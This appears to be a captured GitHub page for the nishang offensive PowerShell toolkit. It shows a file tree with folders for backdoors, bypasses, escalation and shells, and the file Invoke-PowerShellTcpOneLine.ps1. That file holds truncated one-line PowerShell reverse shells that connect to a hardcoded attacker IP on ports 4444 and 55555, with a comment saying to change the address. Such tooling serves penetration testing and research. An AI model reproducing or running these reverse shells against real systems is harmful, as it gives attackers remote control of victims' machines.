

Product ▾ Solutions ▾ Resources ▾ Open Source ▾ Enterprise ▾ Pricing

Q

Sign in

Sign up

samratashok / nishang 

Public

🔔 Notifications

Fork 2.4k

Star 8.8k

<> Code

🕒 Issues 16

Pull requests 6

🔄 Actions

Projects

Wiki

Security

Insights

Files

414ee11

Q

Q

Go to file

> ActiveDirectory

> Antak-WebShell

> Backdoors

> Bypass

> Client

> Escalation

> Execution

> Gather

> MITM

> Misc

> Pivot

> Prasadhak

> Scan

▼ Shells

Invoke-ConPtyShell.ps1

Invoke-JSRatRegsvr.ps1

Invoke-JSRatRundll.ps1

Invoke-PoshRatHttp.ps1

Invoke-PoshRatHttps.ps1

Invoke-PowerShellIcmp.ps1

Invoke-PowerShellTcp.ps1

Invoke-PowerShellTcpOneLine.p...

Invoke-PowerShellTcpOneLineBi...

Invoke-PowerShellUdp.ps1

Invoke-PowerShellUdpOneLine....

Invoke-PowerShellWmi.ps1

Invoke-PsGcat.ps1

Invoke-PsGcatAgent.ps1

Remove-PoshRat.ps1

> Utility

> powerpreter

.gitattributes

.gitignore

CHANGELOG.txt

DISCLAIMER.txt

LICENSE

nishang / Shells / Invoke-PowerShellTcpOneLine.ps1

samratashok Removed double quotes from Invoke-PowerShellTCPOneli... 3cc55fd · 7 years ago History

Code

Blame

6 lines (4 loc) · 983 Bytes

Raw

1

#A simple and small reverse shell. Options and help removed to save space.

2

#Uncomment and change the hardcoded IP address and port number in the below line. Remov

3

#\$client = New-Object System.Net.Sockets.TCPCClient('192.168.254.1',4444);\$stream = \$cli


4

5

#\$sm=(New-Object Net.Sockets.TCPCClient('192.168.254.1',55555)).GetStream();[byte[]]\$bt=

Page 1 of 2

 README.md

 nishang.psm1